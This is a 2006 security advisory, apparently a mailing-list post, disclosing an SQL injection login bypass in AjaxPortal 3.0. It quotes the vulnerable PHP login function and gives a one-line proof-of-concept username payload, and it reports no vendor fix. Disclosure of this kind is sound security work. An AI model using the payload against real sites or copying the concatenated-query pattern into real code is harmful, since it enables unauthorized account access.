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[KAPDA::#46] - AjaxPortal Authentication Bypass
From: alireza hassani <trueend5 () yahoo com>
Date: Sat, 8 Jul 2006 05:17:52 -0700 (PDT)



KAPDA New advisory

Vendor: http://myiosoft.com
Vulnerable: AjaxPortal v. 3.0
Bug: Sql Injection (Authentication Bypass)
Exploitation: Remote with browser

Description:
--------------------
AjaxPortal is based on Sajax technology - an open
source tool to make programming websites using the
Ajax framework known as XMLHTTPRequest or remote
scripting as easy as possible.customizable full
featured content management tool written in PHP, using
javascript and Mysql.

Vulnerability:
--------------------
Input Validation error in loginADP Function that
result in Login bypass when Magic quotes is disabled.

Code Snippets:
/ajaxp.php Lines: #568-593

function loginADP($username,$password,$remember){
     $badlogin = 0;
     if(isLoggedIn()){ return "Sucsess!"; }
     $query = "SELECT * FROM  ".PREFIX."ajaxp_users
     WHERE username='$username' AND
     password=PASSWORD('$password') AND active=1 LIMIT
1";
     $result = mysql_query($query);
     if(mysql_num_rows($result) > 0){
        $userinfo = mysql_fetch_array($result);
        $_SESSION['sess_username'] =
$userinfo['username'];
        $_SESSION['sess_firstname'] =
$userinfo['firstname'];
        $_SESSION['sess_lastname'] =
$userinfo['lastname'];
        $_SESSION['sess_userid'] =
$userinfo['user_id'];
        $_SESSION['sess_accesslevel'] =
$userinfo['accesslevel'];
        $_SESSION['sess_usermd5'] = $userinfo['md5'];
        $_SESSION['sess_theme_id'] =
$userinfo['theme_id'];
        $_SESSION['sess_last_ip'] =
$_SERVER['REMOTE_ADDR'];
        $_SESSION['sess_logged_in'] = 1;
        $query = "UPDATE  ".PREFIX."ajaxp_users SET
last_login=NOW(),
last_ip=\"".$_SERVER['REMOTE_ADDR']."\" WHERE
user_id=".$userinfo['user_id']."";
        mysql_query($query);
        if($remember==1)
{$_SESSION['remember']=$userinfo['user_id'];} else {
unset($_SESSION['remember']); }
        $badlogin = 0;
        return "Sucsess!";
      } else {
        $badlogin = 1;
      }
POC:
--------------------
Username:a' or user_id=22/*
Password:abcdef


Solution:
--------------------
No Response from vendor.
 
Original Advisories:
--------------------
http://www.kapda.ir/advisory-355.html


Credit :
--------------------
Discovered & released by trueend5 (trueend5 kapda ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

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